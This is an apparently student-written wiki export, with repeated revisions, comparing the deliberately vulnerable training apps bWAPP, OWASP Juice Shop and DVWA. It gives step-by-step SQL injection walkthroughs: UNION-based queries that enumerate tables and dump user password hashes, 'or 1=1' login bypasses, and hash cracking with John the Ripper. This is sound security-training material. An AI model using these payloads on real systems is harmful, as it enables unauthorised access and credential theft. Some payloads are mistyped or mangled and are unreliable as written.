=== STEP 4: Get the password===

Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:

[[File:Bild10URL.PNG|500px]]

The result ejects the character bWAPP. Now it is only a few steps to the hashed password.

[[File:Bild11ErgebnisURL.PNG|500px]]

In the following step the contents of the columns-output is 'User'. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting.

[[File:Bild20URL.PNG|800px]]

[[File:Bild21Ergebnis.PNG|1000px]]

The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp.

[[File:Bild22URL.PNG|800px]]

[[File:Bild23PWErgebnis.PNG|1000px]]

=== STEP 5: Cracking the hashed password with John the Ripper===
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password's output in clear text.

[[File:Challenge1.9bWAPP.png|700px]]
 
----
 
== OWASP Juice Shop Challenge ==
At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.

[[File:JuiceShopPlattform.PNG|500px]]

=== STEP 1: Try to login as Admin with simple SQL-statements===

The following command is used to attempt to log in as Admin: ''' 'or true - -'''. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. '''True''' as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.

[[File: juice4.PNG|250px]]

Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.

[[File: juice3.PNG|500px]]

=== STEP 2: Change user data===

After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.

[[File:UserDaten.PNG|300px]]

== Conclusion ==

Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today's abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.
Further information on this article can be found in my paper: [[seminar paper]]

== References ==
[https://www.owasp.org Open Web Application Security Project (OWASP)]

[https://www.mmebvba.com/sites/default MME Security Audits & Training]

[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]

[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]

[[Category:Documentation]]

Unsecure Webservices: bWAPP vs. JuiceShop

2020-12-21T17:21:54Z

CEberhart: /* Introduction */

[[File:JuicebWAPP.png|1000px]]
== Introduction ==

The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers' efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.
*The application can be accessed 24/7 via the Internet
*Have sensitive data and often have direct access to backend data
*Conventional firewalls do not have adequate protection
*The applications are tailored and therefore very fragile

Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world's most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:
*Injection
*Broken Authentication & Session Management
*Sensitive Data Exposure
*XML External Entities (XXE)
*Broken Access Control
*Security Misconfiguration
*Cross Site Scripting (XSS)
*Insecure Deserialization
*Using Components with Known Vulnerabilities
*Insufficient Logging & Monitoring

Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.

== Web Security Test-Application ==

=== Penetrating Testing ===

Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.

=== SQL Injection Vulnerability ===

With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.

SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack.
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.

=== bWAPP ===
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.

=== OWASP Juice Shop ===
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called 'online juice shop' for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.

==Comparison and architecture of bWAPP and OWASP Juice Shop==

'''OWASP Juice Shop''' is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[File:ArchitekturOWASP.PNG|700px]]

----

'''bWAPP''' is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine.

To download virtualbox, use the following link:

[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]

On the following page there is a step-by-step instructions for installing virtualbox:

[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]

To install beebox you can use the following link:

[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]

[[File:VirtualBox.PNG|400px]]
[[File:BWAPP1Start.PNG|400px]]

== Practical demonstration Step-by-Step guideline==
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.

== bWAPP Challenge ==
=== STEP 1: Select a challenge===

The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.

[[File:bWAPPs.PNG|500px]]
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]

In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various 'bugs'. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.

[[File:1nebenan.png|500px]]
[[File:2nebenan.png|500px]]

=== STEP 2: Try out some SQL-Statements===

If you enter a search term such as 'iron', for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word 'iron' and the search field gives the result 'iron man'. In this case there is a high probability that this query contains some columns. The select-command is something like "Select column1, column2, column3, column4 from table where movie LIKE '%". $userinput."%'"

[[File:Bild1EingabeIron.PNG|500px]]

If the form is vulnerable, introducing a single ''' 1 ''' should throw a SQL error because "Select column1, column2, column3, column4 from table where movie LIKE "'" is not a valid query. As a result, you can see that the URL parameter '''1'''' is definitely vulnerable to an SQL injection:

[[File:Bild2SQLSyntaxFehler.PNG|500px]]

After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by '''1 -- -'''.

[[File:Bild3URLTeilDelete.PNG|500px]]

[[File:Bild4neueURL.PNG|500px]]

The output shows that the URL parameters are definitely vulnerable to SQL injections.

[[File:Bild5ErgebnisURL1.PNG|500px]]

=== STEP 3: Trying to find out the number of columns===

To find the answer we can use an 'ORDER BY' clause inside our query : ' order by 6 -- -
The query sent to the database will look like : "Select column1, column2, column3, column4, column5, column6, from table where movie LIKE '%' order by 6 -- -%' . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown.

We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.

[[File:Bild6URL.PNG|500px]]

[[File:Bild7.PNG|500px]]

The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries.

[[File:Bild8URL.PNG|500px]]

The result shows that column 5 corresponds to one character.

[[File:Bild9ErgebnisURL.PNG|500px]]

=== STEP 4: Get the password===

Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:

[[File:Bild10URL.PNG|500px]]

The result ejects the character bWAPP. Now it is only a few steps to the hashed password.

[[File:Bild11ErgebnisURL.PNG|500px]]

In the following step the contents of the columns-output is 'User'. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting.

[[File:Bild20URL.PNG|800px]]

[[File:Bild21Ergebnis.PNG|1000px]]

The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp.

[[File:Bild22URL.PNG|800px]]

[[File:Bild23PWErgebnis.PNG|1000px]]

=== STEP 5: Cracking the hashed password with John the Ripper===
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password's output in clear text.

[[File:Challenge1.9bWAPP.png|700px]]
 
----
 
== OWASP Juice Shop Challenge ==
At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.

[[File:JuiceShopPlattform.PNG|500px]]

=== STEP 1: Try to login as Admin with simple SQL-statements===

The following command is used to attempt to log in as Admin: ''' 'or true - -'''. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. '''True''' as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.

[[File: juice4.PNG|250px]]

Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.

[[File: juice3.PNG|500px]]

=== STEP 2: Change user data===

After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.

[[File:UserDaten.PNG|300px]]

== Conclusion ==

Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today's abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.
Further information on this article can be found in my paper: [[seminar paper]]

== References ==
[https://www.owasp.org Open Web Application Security Project (OWASP)]

[https://www.mmebvba.com/sites/default MME Security Audits & Training]

[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]

[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]

[[Category:Documentation]]

OWASP Juice Shop

2020-12-13T12:41:26Z

CEberhart:

The name is a bit misleading, and its is not a real online Juice Shop. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.

== Architecture: ==

OWASP Juice Shop is a web app that is implemented in JavaScript and TypeScript. The Angular Framework is used to implement a single-page application. Angular FlexLayout is responsible that a certain responsiveness of the application is achieved. Node.js is necessary, so that the Express application can be used on Node.js server is hosted so that the client-side code can be transmitted to it. SQLite is used as a database and via a RESTful API some backend functionality is enabled. Sequelize and Finale-Rest are used for the abstraction layer from the database. So, you have API endpoints, which allow easy interaction with the resources from the database, during the execution of custom SQL for more complex queries subsequently be executed. Another component of OWASP Juice Shop is the MarsDB which acts as an additional data store. Via the WebSocket protocol the so-called push notifications are implemented, which appear, when you have successfully completed a task. Juice Shop has OAuth 2.0, so that users can log in with their Google accounts.
[[JS Architectur.PNG|500px|center]]

== Installation ==

For a successful installation, the following steps must be observed:
Node.js must be installed on the device. Then you can download the application on the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.
The downloaded file will be extracted to any path.
To start the Juice Shop, Open the terminal and switch to the path where you extracted the file. Then you start the program with the command "npm start"
[[File:JS Terminal.PNG|500px|center]]
Then you can see which port is open, and open any browser and enter “localhost: [port]“<(br>
[[File:JS Homepage.PNG|500px|center]]

== Example ==

In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.
'''or 1 = 1; --'' 
[[File:JS sqllogin.PNG|500px|center]]
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.
'''or 1 = 1 and email not like ('% admin% '); --'' 
'''or 1 = 1 and email like ('% bender% '); --'' 
[[File:JS loggedin.PNG|500px|center]]

OWASP Juice Shop

2020-12-13T12:40:57Z

CEberhart: Created page with "The name is a bit misleading, and its is not a real online Juice Shop. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. In a..."

The name is a bit misleading, and its is not a real online Juice Shop. In 2014 Björn Kimminich designed the latest and most privileged vulnerable web service from OWASP. In a short time, Juice Shop generate a large community. The application is an intentionally insecure Web Service, and it look like an online shop. It is used to improve and test your hacking skills to avoid possible security lacks. Security enthusiastic can test and simulate different vulnerabilities in a safe environment without causing major damage to the network. Here the application includes vulnerabilities of the entire OWASP Top Ten, but also many other Vulnerabilities are found in this tool. There is enough documentation and further material on the official homepage to get a bigger overview.

== Architecture: ==

OWASP Juice Shop is a web app that is implemented in JavaScript and TypeScript. The Angular Framework is used to implement a single-page application. Angular FlexLayout is responsible that a certain responsiveness of the application is achieved. Node.js is necessary, so that the Express application can be used on Node.js server is hosted so that the client-side code can be transmitted to it. SQLite is used as a database and via a RESTful API some backend functionality is enabled. Sequelize and Finale-Rest are used for the abstraction layer from the database. So, you have API endpoints, which allow easy interaction with the resources from the database, during the execution of custom SQL for more complex queries subsequently be executed. Another component of OWASP Juice Shop is the MarsDB which acts as an additional data store. Via the WebSocket protocol the so-called push notifications are implemented, which appear, when you have successfully completed a task. Juice Shop has OAuth 2.0, so that users can log in with their Google accounts.
[[JS Architectur.PNG|500px|center]]

== Installation ==

For a successful installation, the following steps must be observed:
Node.js must be installed on the device. Then you can download the application on the official Git repository from OWASP (https://github.com/bkimminich/juice-shop). There you will also find a detailed instructions and further information.
The downloaded file will be extracted to any path.
To start the Juice Shop, Open the terminal and switch to the path where you extracted the file. Then you start the program with the command "npm start"
[[File:JS Terminal.PNG|500px|center]]
Then you can see which port is open, and open any browser and enter “localhost: [port]“<(br>
[[File:JS Homepage.PNG|500px|center]]

== Example ==

In this example an attempt is made to log in to the website without having any credential. So, here we are using a SQL command instead of an email and a randomly selected password should suffice in this case. You can log in as an administrator with the following query because the result is always ‘True’ and the administrator appears to be the first in the selection list.
'''or 1 = 1; --'' 
[[File:JS sqllogin.PNG|500px|center]]
It is even possible to log in as a different user, for example as Jim or Bender. If you have successfully completed these challenges, it will lead to displayed on the page.
'or 1 = 1 and email not like ('% admin% '); -- 
'or 1 = 1 and email like ('% bender% '); -- 
[[File:JS loggedin.PNG|500px|center]]

File:JS loggedin.PNG

2020-12-13T12:40:06Z

CEberhart:

File:JS sqllogin.PNG

2020-12-13T12:39:09Z

CEberhart:

File:JS Homepage.PNG

2020-12-13T12:34:31Z

CEberhart:

File:JS Terminal.PNG

2020-12-13T12:33:33Z

CEberhart:

File:JS Architectur.PNG

2020-12-13T12:27:53Z

CEberhart:

DVWA

2020-12-13T12:12:00Z

CEberhart: Created page with "The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web app. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this..."

The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web app. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.

== Architecture ==

As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.
[[File:DVWA architecture.png|500px|center]]

== Installation ==

The installation of DVWA is very similar to that of bWAPP. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:
The applicaktion could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.
[[File:DVWA official Website.png|500px|center]]
The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.
The password is deleted from the configuration file “config.inc.php.dist”.
[[File:DVWA configfile.png|500px|center]]
localhost/dvwa is called by the browser, which leads you to the login. Username is “admin” and password is “password”. Now you are logged in and ready to work with DVWA.
[[File:DVWA installed and ready to use.png|500px|center]]
Note: Before you start, the database should be set or reset.

== Example ==

The example is also based on the SQL injection vulnerability. In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.
[[File:DVWA search.PNG|500px|center]]
If we enter "1" in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable for a SQL injection. This means we can transmit commands (queries) to the database to get any desired result. First have to merge all existing tables together with the union statement, then we can go forward and determine our desired result like user or database.
''% 'Or 0 = 0 union select null, user () #'' 
''% ’Or 0 = 0 union select null, database () #'' 
[[File:DVWA sqldatabase.PNG|500px|center]]
[[File:DVWA sqluser.PNG|500px|center]]
To display all tables of the information schema, you must enter the following command in the search field. 
'''Note:''' The information schema is the place where information is shared with everyone else databases are stored.
''% ’And 1 = 0 union select null, table \ _name from information_schema.tables #'' 
We want to display the login data such as username and password. To do this, we should look for the 'User' table and print all containing fields. Now we know which fields exist in the table ’User’, so that we can select the right ones and print them out.
''% ’And 1 = 0 union select null, table_name from information_schema.tables where table_name like’ user% ’#'' 
''% 'And 1 = 0 union select null, concat (table_name, 0x0a, column_name) from information_schema.columns where table_name =' users' #'' 
''% ’And 1 = 0 union select null, concat (first \ _name, 0x0a, last \ _name, 0x0a, user, 0x0a, password) from users #'' 
Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper).
[[File:DVWA hashpassword.PNG|500px|center]]

File:DVWA hashpassword.PNG

2020-12-13T12:11:09Z

CEberhart:

File:DVWA sqluser.PNG

2020-12-13T12:08:26Z

CEberhart:

File:DVWA sqldatabase.PNG

2020-12-13T12:07:39Z

CEberhart:

File:DVWA search.PNG

2020-12-13T12:06:04Z

CEberhart:

File:DVWA installed and ready to use.png

2020-12-13T11:50:06Z

CEberhart:

File:DVWA configfile.png

2020-12-13T11:49:14Z

CEberhart:

File:DVWA official Website.png

2020-12-13T11:47:59Z

CEberhart:

File:DVWA architecture.png

2020-12-13T11:41:30Z

CEberhart:

BWAPP

2020-12-13T11:02:22Z

CEberhart: Created page with "bWAPP is the abbreviation for "buggy web application" and it is a deliberately insecure web application which is freely accessible to everyone. bWAPP belongs to the ITSEC Game..."

bWAPP is the abbreviation for "buggy web application" and it is a deliberately insecure web application which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate with this application. In addition to the ethical hacking training, bWAPP also relies on the fun factor and tries to build everything up in a playful way. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even covers all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]

== Architecture ==

bWAPP is a free PHP application that uses an SQL database. The web service is provided by Linux or Windows with Apache or IIS. It is also supported by WAMP and XAMPP. You can also download bee-box, this is a virtual machine with bWAPP included.
[[File:BWAPP architectur.PNG||200px|center]]

== Installation ==

For a successful installation, follow these steps:
On the official homepage of ITSEC Games-Project (http://www.itsecgames.com/) you can download bWAPP. Extract the ZIP file to any path.
[[File:OfficialWebsite bWAPP.png|500px|center]]

The password is deleted from the PHP file “setting.php”
[[File:BWAPP PHPfile with password.png|left]]
[[File:BWAPP PHPfile without password.png|right]]

Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel
Open “localhost / bwapp / install.php” via the browser and then click on "here". If the installation was successful, this will also be communicated with a short message.
Now bWAPP has been successfully installed, if you enter /localhost/bwapp/ in any browser you will get to the login window. Username is “bee” and password is “bug”. You are logged in now and you can play around with the application.
[[File:BWAPP installed and ready to use.png|500px|center]]

== Example ==

For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain his desired result.
If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.
[[File:BWAPP SQLInjection.PNG|500px|center]]
By entering any terms into the search field (e.g. "man"), it is possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.
[[File:BWAPP withsearch.PNG|500px|center]]
[[File:BWAPP nosearch.PNG|500px|center]]
But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.
[[File:BWAPP error.PNG|500px|center]]
Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.
''localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -''
''localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)''
It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -''
By visualizing the columns, you can get the information such as the name or/and the version of the database
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -'' 
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -''
By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -''
Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.
[[File:BWAPP hash.PNG|500px|center]]